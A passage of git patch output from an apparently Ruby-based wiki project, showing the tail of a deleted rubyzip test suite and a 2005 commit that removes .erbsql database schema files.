assert_equal(0xfcd1799c, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("empty.txt", entry.name) - assert_equal(ZipEntry::STORED, entry.compression_method) - assert_equal(0, entry.size) - assert_equal(0, entry.compressed_size) - assert_equal(0x0, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("short.txt", entry.name) - assert_equal(ZipEntry::STORED, entry.compression_method) - assert_equal(6, entry.size) - assert_equal(6, entry.compressed_size) - assert_equal(0xbb76fe69, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("longBinary.bin", entry.name) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(1000024, entry.size) - assert_equal(70847, entry.compressed_size) - assert_equal(0x10da7d59, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("data/testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.read_c_dir_entry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - - -class ZipEntrySetTest < Test::Unit::TestCase - ZIP_ENTRIES = [ - ZipEntry.new("zipfile.zip", "name1", "comment1"), - ZipEntry.new("zipfile.zip", "name2", "comment1"), - ZipEntry.new("zipfile.zip", "name3", "comment1"), - ZipEntry.new("zipfile.zip", "name4", "comment1"), - ZipEntry.new("zipfile.zip", "name5", "comment1"), - ZipEntry.new("zipfile.zip", "name6", "comment1") - ] - - def setup - @zipEntrySet = ZipEntrySet.new(ZIP_ENTRIES) - end - - def test_include - assert(@zipEntrySet.include?(ZIP_ENTRIES.first)) - assert(! @zipEntrySet.include?(ZipEntry.new("different.zip", "different", "aComment"))) - end - - def test_size - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.length) - @zipEntrySet << ZipEntry.new("a", "b", "c") - assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.length) - end - - def test_add - zes = ZipEntrySet.new - entry1 = ZipEntry.new("zf.zip", "name1") - entry2 = ZipEntry.new("zf.zip", "name2") - zes << entry1 - assert(zes.include?(entry1)) - zes.push(entry2) - assert(zes.include?(entry2)) - end - - def test_delete - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - entry = @zipEntrySet.delete(ZIP_ENTRIES.first) - assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size) - assert_equal(ZIP_ENTRIES.first, entry) - - entry = @zipEntrySet.delete(ZIP_ENTRIES.first) - assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size) - assert_nil(entry) - end - - def test_each - # Tested indirectly via each_with_index - count = 0 - @zipEntrySet.each_with_index { - |entry, index| - assert(ZIP_ENTRIES.include?(entry)) - count = count.succ - } - assert_equal(ZIP_ENTRIES.size, count) - end - - def test_entries - assert_equal(ZIP_ENTRIES.sort, @zipEntrySet.entries.sort) - end - - def test_compound - newEntry = ZipEntry.new("zf.zip", "new entry", "new entry's comment") - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - @zipEntrySet << newEntry - assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.size) - assert(@zipEntrySet.include?(newEntry)) - - @zipEntrySet.delete(newEntry) - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - end - - def test_dup - copy = @zipEntrySet.dup - assert_equal(@zipEntrySet, copy) - - # demonstrate that this is a deep copy - copy.entries[0].name = "a totally different name" - assert(@zipEntrySet != copy) - end - - def test_parent - entries = [ - ZipEntry.new("zf.zip", "a"), - ZipEntry.new("zf.zip", "a/"), - ZipEntry.new("zf.zip", "a/b"), - ZipEntry.new("zf.zip", "a/b/"), - ZipEntry.new("zf.zip", "a/b/c"), - ZipEntry.new("zf.zip", "a/b/c/") - ] - entrySet = ZipEntrySet.new(entries) - - assert_equal(nil, entrySet.parent(entries[0])) - assert_equal(nil, entrySet.parent(entries[1])) - assert_equal(entries[1], entrySet.parent(entries[2])) - assert_equal(entries[1], entrySet.parent(entries[3])) - assert_equal(entries[3], entrySet.parent(entries[4])) - assert_equal(entries[3], entrySet.parent(entries[5])) - end -end - - -class ZipCentralDirectoryTest < Test::Unit::TestCase - - def test_read_from_stream - File.open(TestZipFile::TEST_ZIP2.zip_name, "rb") { - |zipFile| - cdir = ZipCentralDirectory.read_from_stream(zipFile) - - assert_equal(TestZipFile::TEST_ZIP2.entry_names.size, cdir.size) - assert(cdir.entries.sort.compare_enumerables(TestZipFile::TEST_ZIP2.entry_names.sort) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equal(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("data/file2.txt", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.read_from_stream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("data/testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.read_from_stream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_write_to_stream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.write_to_stream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.read_from_stream(f) } - - assert_equal(cdir.entries.sort, cdirReadback.entries.sort) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equal(cdir1, cdir1) - assert_equal(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < Test::Unit::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zip_name) - @testEntryNameIndex=0 - end - - def test_entries - assert_equal(TestZipFile::TEST_ZIP2.entry_names.sort, - @zipFile.entries.entries.sort.map {|e| e.name} ) - end - - def test_each - count = 0 - visited = {} - @zipFile.each { - |entry| - assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_foreach - count = 0 - visited = {} - ZipFile.foreach(TestZipFile::TEST_ZIP2.zip_name) { - |entry| - assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_get_input_stream - count = 0 - visited = {} - @zipFile.each { - |entry| - assert_entry(entry.name, @zipFile.get_input_stream(entry), entry.name) - assert(! visited.include?(entry.name)) - visited[entry.name] = nil - count = count.succ - } - assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) - end - - def test_get_input_streamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.get_input_stream(fileAndEntryName) { - |zis| - assert_entryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -module CommonZipFileFixture - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zip_name = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) - end -end - -class ZipFileTest < Test::Unit::TestCase - include CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.get_output_stream("myFile") { |os| os.write "myFile contains just this" } - zf.mkdir("dir1") - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equal(comment, zfRead.comment) - assert_equal(2, zfRead.entries.length) - end - - def test_get_output_stream - entryCount = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - entryCount = zf.size - zf.get_output_stream('newEntry.txt') { - |os| - os.write "Putting stuff in newEntry.txt" - } - assert_equal(entryCount+1, zf.size) - assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) - - zf.get_output_stream(zf.get_entry('data/generated/empty.txt')) { - |os| - os.write "Putting stuff in data/generated/empty.txt" - } - assert_equal(entryCount+1, zf.size) - assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) - - } - - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(entryCount+1, zf.size) - assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) - assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) - } - end - - def test_add - srcFile = "data/file2.txt" - entryName = "newEntryName.rb" - assert(File.exists?(srcFile)) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equal("", zfRead.comment) - assert_equal(1, zfRead.entries.length) - assert_equal(entryName, zfRead.entries.first.name) - AssertEntry.assert_contents(srcFile, - zfRead.get_input_stream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_raise(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.add(zf.entries.first.name, "data/file2.txt") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "data/file2.txt") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_contains(zf, replacedEntry, "data/file2.txt") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.is_directory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entry_names - - File.copy(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) - - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equal(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equal(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entry_names - - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(zf.entries.map { |e| e.name }.include?(entryToRename)) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include?(newName)) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(zfRead.entries.map { |e| e.name }.include?(newName)) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } - - assert_raise(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(oldEntries.sort.map{ |e| e.name }, zf.entries.sort.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } - - gotCalled = false - renamedEntryName = nil - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - renamedEntryName = zf.entries[0].name - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_if { |e| e.name == renamedEntryName } - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_equal(oldEntries.sort.map{ |e| e.name }, - zf.entries.sort.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - target_entry = "target_entryName" - zf = ZipFile.new(TEST_ZIP.zip_name) - assert(! zf.entries.include?(nonEntry)) - assert_raise(Errno::ENOENT) { - zf.rename(nonEntry, target_entry) - } - zf.commit - assert(! zf.entries.include?(target_entry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entry_names - zf = ZipFile.new(TEST_ZIP.zip_name) - assert_raise(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - entryToReplace = TEST_ZIP.entry_names[2] - newEntrySrcFilename = "data/file2.txt" - zf = ZipFile.new(TEST_ZIP.zip_name) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - zfRead = ZipFile.new(TEST_ZIP.zip_name) - AssertEntry::assert_contents(newEntrySrcFilename, - zfRead.get_input_stream(entryToReplace) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[0], - zfRead.get_input_stream(TEST_ZIP.entry_names[0]) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[1], - zfRead.get_input_stream(TEST_ZIP.entry_names[1]) { |is| is.read }) - AssertEntry::assert_contents(TEST_ZIP.entry_names[3], - zfRead.get_input_stream(TEST_ZIP.entry_names[3]) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - assert_raise(Errno::ENOENT) { - zf.replace(entryToReplace, "data/file2.txt") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zip_name) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zip_name) - zf.add("okToDelete.txt", "okToDelete.txt") - assert_contains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assert_contains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zip_name) -# zf.close -# assert_raise(IOError) { -# zf.extract(TEST_ZIP.entry_names.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zip_name) - originalEntries = zf.entries.dup - - assert_not_contains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assert_contains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assert_contains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assert_contains(zf, filename) - } - - assert_contains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assert_not_contains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zip_name) - assert_contains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assert_contains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assert_contains(zfRead, filename) - } - assert_not_contains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zip_name) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assert_not_contains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assert_contains(zf, filename) - } - assert_equal(zf.entries.sort.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assert_not_contains(zf, TestFiles::ASCII_TEST_FILES[0]) - assert_contains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zip_name) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assert_contains(zf, filename) - } - - assert_contains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assert_contains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assert_entryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assert_not_contains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < Test::Unit::TestCase - include CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entry_names.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists?(EXTRACTED_FILENAME)) - AssertEntry::assert_contents(EXTRACTED_FILENAME, - zf.get_input_stream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_raise(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equal(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalledCorrectly = false - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { - |entry, extractLoc| - gotCalledCorrectly = zf.entries.first == entry && - extractLoc == EXTRACTED_FILENAME - true - } - } - - assert(gotCalledCorrectly) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zip_name) - assert_raise(Errno::ENOENT) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_raise(Errno::ENOENT) { - zf = ZipFile.new(TEST_ZIP.zip_name) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < Test::Unit::TestCase - include CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def open_zip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zip_name, &aProc) - end - - def extract_test_dir(&aProc) - open_zip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extract_test_dir - assert(File.directory?(TEST_OUT_NAME)) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extract_test_dir - assert(File.directory?(TEST_OUT_NAME)) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_raise(ZipDestinationFileExistsError) { extract_test_dir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extract_test_dir { - |entry, destPath| - gotCalled = true - assert_equal(TEST_OUT_NAME, destPath) - assert(entry.is_directory) - true - } - assert(gotCalled) - assert(File.directory?(TEST_OUT_NAME)) - end -end - -class ZipStreamableFileTest < Test::Unit::TestCase - def test_equality - zipEntry1 = ZipEntry.new("zf.zip", "entryname1", "comment") - zipEntry2 = ZipEntry.new("zf.zip", "entryname2", "comment") - - zipStreamableFile1 = ZipStreamableFile.new(zipEntry1, "path") - zipStreamableFile2 = ZipStreamableFile.new(zipEntry1, "path") - zipStreamableFile3 = ZipStreamableFile.new(zipEntry1, "anotherPath") - zipStreamableFile4 = ZipStreamableFile.new(zipEntry2, "path") - - assert_equal(zipStreamableFile1, zipStreamableFile1) - assert_equal(zipStreamableFile1, zipStreamableFile2) - assert(zipStreamableFile1 != zipStreamableFile3) - assert(zipStreamableFile1 != zipStreamableFile4) - assert(zipStreamableFile1 != zipEntry1) - assert(zipStreamableFile1 != "hej") - end -end - -class ZipExtraFieldTest < Test::Unit::TestCase - def test_new - extra_pure = ZipExtraField.new("") - extra_withstr = ZipExtraField.new("foo") - assert_instance_of(ZipExtraField, extra_pure) - assert_instance_of(ZipExtraField, extra_withstr) - end - - def test_unknownfield - extra = ZipExtraField.new("foo") - assert_equal(extra["Unknown"], "foo") - extra.merge("a") - assert_equal(extra["Unknown"], "fooa") - extra.merge("barbaz") - assert_equal(extra.to_s, "fooabarbaz") - end - - - def test_merge - str = "UT\x5\0\x3\250$\r@Ux\0\0" - extra1 = ZipExtraField.new("") - extra2 = ZipExtraField.new(str) - assert(! extra1.member?("UniversalTime")) - assert(extra2.member?("UniversalTime")) - extra1.merge(str) - assert_equal(extra1["UniversalTime"].mtime, extra2["UniversalTime"].mtime) - end - - def test_length - str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" - extra = ZipExtraField.new(str) - assert_equal(extra.local_length, extra.to_local_bin.length) - assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length) - extra.merge("foo") - assert_equal(extra.local_length, extra.to_local_bin.length) - assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length) - end - - - def test_to_s - str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" - extra = ZipExtraField.new(str) - assert_instance_of(String, extra.to_s) - - s = extra.to_s - extra.merge("foo") - assert_equal(s.length + 3, extra.to_s.length) - end - - def test_equality - str = "UT\x5\0\x3\250$\r@" - extra1 = ZipExtraField.new(str) - extra2 = ZipExtraField.new(str) - extra3 = ZipExtraField.new(str) - assert_equal(extra1, extra2) - - extra2["UniversalTime"].mtime = Time.now - assert(extra1 != extra2) - - extra3.create("IUnix") - assert(extra1 != extra3) - - extra1.create("IUnix") - assert_equal(extra1, extra3) - end - -end - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. From c6ea47d6deeec7e4d44f419352bd69ba710e137f Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 2 Nov 2005 05:36:11 +0000 Subject: [PATCH 403/529] Dropping .erbsql files (we now have schema.rb instead) --- db/pages.erbsql | 9 -------- db/revisions.erbsql | 16 --------------- db/schema.postgre.sql | 43 --------------------------------------- db/system.erbsql | 4 ---- db/webs.erbsql | 17 ---------------- db/wiki_references.erbsql | 9 -------- 6 files changed, 98 deletions(-) delete mode 100644 db/pages.erbsql delete mode 100644 db/revisions.erbsql delete mode 100644 db/schema.postgre.sql delete mode 100644 db/system.erbsql delete mode 100644 db/webs.erbsql delete mode 100644 db/wiki_references.erbsql diff --git a/db/pages.erbsql b/db/pages.erbsql deleted file mode 100644 index 5c2dd6d5..00000000 --- a/db/pages.erbsql +++ /dev/null @@ -1,9 +0,0 @@ -CREATE TABLE pages ( - id <%= @pk %>, - created_at <%= @datetime %> NOT NULL, - updated_at <%= @datetime %> NOT NULL, - web_id INTEGER NOT NULL, - locked_by VARCHAR(60), - name VARCHAR(60), - locked_at <%= @datetime %> -) <%= create_options %>; \ No newline at end of file diff --git a/db/revisions.erbsql b/db/revisions.erbsql deleted file mode 100644 index 2b8e6e0e..00000000 --- a/db/revisions.erbsql +++ /dev/null @@ -1,16 +0,0 @@ -CREATE TABLE revisions ( - id <%= @pk %>, - created_at <%= @datetime %> NOT NULL, - updated_at <%= @datetime %> NOT NULL, - - -- note that continuous edits change the existing last revision, instead of creating one - -- revised_at is the timestamp of last edit of this revision - -- unlike updated_at is can be set explicitly in a call to Revision.create - -- besides, it should not be updated when Revision row changes for any other reason than - -- changing content - revised_at <%= @datetime %> NOT NULL, - page_id INTEGER NOT NULL, - content TEXT NOT NULL, - author VARCHAR(60), - ip VARCHAR(60) -) <%= create_options %>; \ No newline at end of file diff --git a/db/schema.postgre.sql b/db/schema.postgre.sql deleted file mode 100644 index 5191d9e4..00000000 --- a/db/schema.postgre.sql +++ /dev/null @@ -1,43 +0,0 @@ -CREATE TABLE pages ( - id serial primary key, - created_at timestamp without time zone NOT NULL, - updated_at timestamp without time zone NOT NULL, - web_id integer NOT NULL, - locked_by character varying(60), - name character varying(60), - locked_at timestamp without time zone -); - -CREATE TABLE revisions ( - id serial primary key, - created_at timestamp without time zone NOT NULL, - updated_at timestamp without time zone NOT NULL, - page_id integer NOT NULL, - content text NOT NULL, - author character varying(60), - ip character varying(60), - number integer -); - -CREATE TABLE system ( - id serial primary key, - "password" character varying(60) -); - -CREATE TABLE webs ( - id serial primary key, - created_at timestamp without time zone NOT NULL, - updated_at timestamp without time zone NOT NULL, - name character varying(60) NOT NULL, - address character varying(60) NOT NULL, - "password" character varying(60), - additional_style character varying(255), - allow_uploads boolean DEFAULT true, - published boolean DEFAULT false, - count_pages boolean DEFAULT false, - markup character varying(50) DEFAULT 'textile'::character varying, - color character varying(6) DEFAULT '008B26'::character varying, - max_upload_size integer DEFAULT 100, - safe_mode boolean DEFAULT false, - brackets_only boolean DEFAULT false -); diff --git a/db/system.erbsql b/db/system.erbsql deleted file mode 100644 index e0a55a33..00000000 --- a/db/system.erbsql +++ /dev/null @@ -1,4 +0,0 @@ -CREATE TABLE system ( - id <%= @pk %>, - <%= db_quote('password') %> VARCHAR(60) -) <%= create_options %>; \ No newline at end of file diff --git a/db/webs.erbsql b/db/webs.erbsql deleted file mode 100644 index c29728cd..00000000 --- a/db/webs.erbsql +++ /dev/null @@ -1,17 +0,0 @@ -CREATE TABLE webs ( - id <%= @pk %>, - created_at <%= @datetime %> NOT NULL, - updated_at <%= @datetime %> NOT NULL, - name VARCHAR(60) NOT NULL, - address VARCHAR(60) NOT NULL, - <%= db_quote('password') %> VARCHAR(60), - additional_style VARCHAR(255), - allow_uploads <%= @boolean %> DEFAULT '1', - published <%= @boolean %> DEFAULT '0', - count_pages <%= @boolean %> DEFAULT '0', - markup VARCHAR(50) DEFAULT 'textile', - color VARCHAR(6) DEFAULT '008B26', - max_upload_size INTEGER DEFAULT 100, - safe_mode <%= @boolean %> DEFAULT '0', - brackets_only <%= @boolean %> DEFAULT '0' -) <%= create_options %>; \ No newline at end of file diff --git a/db/wiki_references.erbsql b/db/wiki_references.erbsql deleted file mode 100644 index 6b7115ce..00000000 --- a/db/wiki_references.erbsql +++ /dev/null @@ -1,9 +0,0 @@ -CREATE TABLE wiki_references ( - id <%= @pk %>, - created_at <%= @datetime %> NOT NULL, - updated_at <%= @datetime %> NOT NULL, - - page_id INTEGER NOT NULL, - referenced_name VARCHAR(60) NOT NULL, - link_type CHAR(1) NOT NULL -) <%= create_options %>; \ No newline at end of file From 26a5338764d46c31275d3df138c4cef9a56407be Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 2 Nov 2005 05:59:49 +0000 Subject: [PATCH 404/529] FIX BUILD --- config/environment.rb | 3 --- test/functional/file_controller_test.rb | 1 + 2 files changed, 